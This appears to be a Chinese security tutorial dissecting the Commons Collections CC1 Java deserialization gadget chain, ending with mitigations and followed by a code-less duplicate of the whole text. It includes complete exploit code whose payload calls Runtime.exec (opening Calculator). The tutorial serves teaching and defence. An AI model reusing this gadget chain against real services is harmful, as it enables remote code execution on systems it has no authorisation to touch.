CC1链_全网最菜的分析思路
字数 2191 2025-08-20 18:18:11

Apache Commons Collections 1 (CC1) 反序列化漏洞分析

1. 前置知识

1.1 Java反序列化基础

Java序列化机制允许将对象状态保存到字节流中,之后可以从中恢复对象。反序列化过程中,ObjectInputStream类负责读取字节流并重新创建对象。

关键点:

  • 反序列化利用链的起点是readObject()方法
  • 如果一个类自定义了readObject()方法,则该类在反序列化时会调用该方法
  • 如果readObject()方法中存在恶意代码,也会被执行

1.2 反射执行系统命令

直接执行命令:

String[] command = {"open","-a","/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Runtime.getRuntime().exec(command);

反射执行命令:

Class clazz = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
runtime.exec("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator");

1.3 关键类介绍

1.3.1 InvokerTransformer类

  • 实例化时赋值iMethodNameiParamTypesiArgs
  • 调用transform()方法会以反射方式执行任意方法
  • 示例:
InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", 
    new Class[]{String.class}, 
    new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);

1.3.2 ChainedTransformer类

  • 实例化时传入Transformer[]数组,赋值给iTransformers
  • 调用transform()方法会依次执行数组元素的transform()方法
  • 前一个transform()的结果会作为后一个transform()的参数

1.3.3 ConstantTransformer类

  • 实例化时传入一个对象赋值给iConstant
  • 调用transform()方法时,不管传入什么,都返回iConstant

2. 环境准备

2.1 版本要求

  • Apache Commons Collections 3.2.1
  • JDK 8u71之前的版本(建议使用JDK 8u66)

2.2 项目搭建

  1. 创建Maven项目,JDK选择8u66
  2. pom.xml添加依赖:
<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

3. CC1链分析

3.1 利用链核心思路

利用链形象比喻:

  • readObject为反序列化入口点(迷宫入口)
  • 存在命令执行的方法为出口
  • 从入口到出口形成一条链(利用链)

3.2 关键方法分析

3.2.1 InvokerTransformer#transform方法

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (...) {
        ...
    }
}

该方法通过反射执行任意方法,是命令执行的最终位置。

3.2.2 TransformedMap#checkSetValue方法

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

该方法会调用valueTransformertransform()方法。

如何触发:

  1. 通过TransformedMap.decorate()方法实例化TransformedMap
  2. valueTransformer通过构造方法传入
  3. 需要调用checkSetValue()方法

3.2.3 AnnotationInvocationHandler#readObject方法

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    for (Map.Entry<String, Object> var3 : this.memberValues.entrySet()) {
        String var4 = var3.getKey();
        Class var5 = this.memberTypes.get(var4);
        if (var5 != null) {
            Object var6 = var3.getValue();
            if (!var5.isInstance(var6)) {
                var3.setValue(...);
            }
        }
    }
}

该方法会遍历memberValues并调用setValue(),是反序列化的入口点。

3.3 完整利用链构建

  1. 构造Transformer链:
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  1. 构造TransformedMap:
HashMap map = new HashMap();
map.put("value", "I am leyilea!");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
  1. 构造AnnotationInvocationHandler:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
  1. 序列化与反序列化触发:
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();

4. 动态调试分析

4.1 反序列化流程

  1. objectInputStream.readObject()开始
  2. 进入AnnotationInvocationHandler#readObject
  3. 遍历memberValues(即TransformedMap
  4. 调用MapEntry#setValue
  5. 调用TransformedMap#checkSetValue
  6. 调用ChainedTransformer#transform

4.2 Transformer链执行

  1. ConstantTransformer#transform:返回Runtime.class
  2. 第一个InvokerTransformer#transform:获取getRuntime方法
  3. 第二个InvokerTransformer#transform:调用getRuntime获取Runtime实例
  4. 第三个InvokerTransformer#transform:执行exec命令

5. 关键点总结

  1. 利用链组成:

    • 入口:AnnotationInvocationHandler#readObject
    • 中间:TransformedMap#checkSetValue
    • 出口:InvokerTransformer#transform
  2. 为什么需要ConstantTransformer

    • 解决Runtime对象无法序列化的问题
    • 在反序列化时动态创建Runtime实例
  3. 为什么使用Target.class

    • @Target注解有value属性
    • memberTypes.get(name)能获取到非空值
  4. 版本限制原因:

    • JDK 8u71修复了AnnotationInvocationHandler的反序列化问题
    • Commons Collections 3.2.2修复了相关漏洞

6. 完整利用代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Exploit {
    public static void main(String[] args) throws Exception {
        // 1. 构造Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 2. 构造TransformedMap
        HashMap map = new HashMap();
        map.put("value", "I am leyilea!");
        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        // 3. 构造AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class, transformedMap);

        // 4. 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();

        // 5. 反序列化触发
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        ois.readObject();
    }
}

7. 防御措施

  1. 升级Commons Collections到最新版本
  2. 使用JDK 8u71及以上版本
  3. 对反序列化操作进行白名单控制
  4. 使用安全框架如SerialKiller进行防护
Apache Commons Collections 1 (CC1) 反序列化漏洞分析 1. 前置知识 1.1 Java反序列化基础 Java序列化机制允许将对象状态保存到字节流中,之后可以从中恢复对象。反序列化过程中, ObjectInputStream 类负责读取字节流并重新创建对象。 关键点: 反序列化利用链的起点是 readObject() 方法 如果一个类自定义了 readObject() 方法,则该类在反序列化时会调用该方法 如果 readObject() 方法中存在恶意代码,也会被执行 1.2 反射执行系统命令 直接执行命令: 反射执行命令: 1.3 关键类介绍 1.3.1 InvokerTransformer类 实例化时赋值 iMethodName 、 iParamTypes 和 iArgs 调用 transform() 方法会以反射方式执行任意方法 示例: 1.3.2 ChainedTransformer类 实例化时传入 Transformer[] 数组,赋值给 iTransformers 调用 transform() 方法会依次执行数组元素的 transform() 方法 前一个 transform() 的结果会作为后一个 transform() 的参数 1.3.3 ConstantTransformer类 实例化时传入一个对象赋值给 iConstant 调用 transform() 方法时,不管传入什么,都返回 iConstant 值 2. 环境准备 2.1 版本要求 Apache Commons Collections 3.2.1 JDK 8u71之前的版本(建议使用JDK 8u66) 2.2 项目搭建 创建Maven项目,JDK选择8u66 pom.xml添加依赖: 3. CC1链分析 3.1 利用链核心思路 利用链形象比喻: readObject 为反序列化入口点(迷宫入口) 存在命令执行的方法为出口 从入口到出口形成一条链(利用链) 3.2 关键方法分析 3.2.1 InvokerTransformer#transform方法 该方法通过反射执行任意方法,是命令执行的最终位置。 3.2.2 TransformedMap#checkSetValue方法 该方法会调用 valueTransformer 的 transform() 方法。 如何触发: 通过 TransformedMap.decorate() 方法实例化 TransformedMap valueTransformer 通过构造方法传入 需要调用 checkSetValue() 方法 3.2.3 AnnotationInvocationHandler#readObject方法 该方法会遍历 memberValues 并调用 setValue() ,是反序列化的入口点。 3.3 完整利用链构建 构造Transformer链: 构造TransformedMap: 构造AnnotationInvocationHandler: 序列化与反序列化触发: 4. 动态调试分析 4.1 反序列化流程 从 objectInputStream.readObject() 开始 进入 AnnotationInvocationHandler#readObject 遍历 memberValues (即 TransformedMap ) 调用 MapEntry#setValue 调用 TransformedMap#checkSetValue 调用 ChainedTransformer#transform 4.2 Transformer链执行 ConstantTransformer#transform :返回 Runtime.class 第一个 InvokerTransformer#transform :获取 getRuntime 方法 第二个 InvokerTransformer#transform :调用 getRuntime 获取 Runtime 实例 第三个 InvokerTransformer#transform :执行 exec 命令 5. 关键点总结 利用链组成: 入口: AnnotationInvocationHandler#readObject 中间: TransformedMap#checkSetValue 出口: InvokerTransformer#transform 为什么需要 ConstantTransformer : 解决 Runtime 对象无法序列化的问题 在反序列化时动态创建 Runtime 实例 为什么使用 Target.class : @Target 注解有 value 属性 memberTypes.get(name) 能获取到非空值 版本限制原因: JDK 8u71修复了 AnnotationInvocationHandler 的反序列化问题 Commons Collections 3.2.2修复了相关漏洞 6. 完整利用代码 7. 防御措施 升级Commons Collections到最新版本 使用JDK 8u71及以上版本 对反序列化操作进行白名单控制 使用安全框架如SerialKiller进行防护